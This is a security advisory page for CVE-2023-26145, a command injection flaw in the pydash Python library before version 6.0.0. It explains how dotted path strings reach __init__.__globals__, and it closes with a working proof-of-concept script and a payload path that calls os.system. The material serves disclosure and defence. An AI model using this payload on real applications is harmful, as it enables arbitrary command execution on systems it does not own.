Command Injection Affecting pydash package, versions [,6.0.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PYTHON-PYDASH-5916518
- published26 Sept 2023
- disclosed24 Sept 2023
- creditCalum Hutton
Introduced: 24 Sep 2023
CVE-2023-26145 (opens in a new tab)How to fix?
Upgrade pydash to version 6.0.0 or higher.
Overview
pydash is a The kitchen sink of Python utility libraries for doing "stuff" in a functional way. Based on the Lo-Dash Javascript library.
Affected versions of this package are vulnerable to Command Injection. A number of pydash methods such as pydash.objects.invoke() and pydash.collections.invoke_map() accept dotted paths (Deep Path Strings) to target a nested Python object, relative to the original source object. These paths can be used to target internal class attributes and dict items, to retrieve, modify or invoke nested Python objects.
Note:
The pydash.objects.invoke() method is vulnerable to Command Injection when the following prerequisites are satisfied:
The source object (argument 1) is not a built-in object such as list/dict (otherwise, the
__init__.__globals__path is not accessible)The attacker has control over argument 2 (the path string) and argument 3 (the argument to pass to the invoked method)
The pydash.collections.invoke_map() method is also vulnerable, but is harder to exploit as the attacker does not have direct control over the argument to be passed to the invoked function.
PoC
import sys
import random
import pydash
class Animal:
def __init__(self, typ, age):
self.type = typ
self.age = age
self.id = random.randint(1, 99999)
def poc(path, arg):
"""
Use a malicious path to execute code via the __init__.__globals__ dict (not available with dict/list input objects?)
I.e: pydash.invoke(obj, '__init__.__globals__.random._os.system', 'id')
"""
obj = Animal('cat', 11)
res = pydash.invoke(obj, path, arg)
print(res)
if __name__ == '__main__':
if len(sys.argv) < 3:
print('Missing args: %s <path> <arg>' % sys.argv[0])
sys.exit(1)
poc(sys.argv[1], sys.argv[2])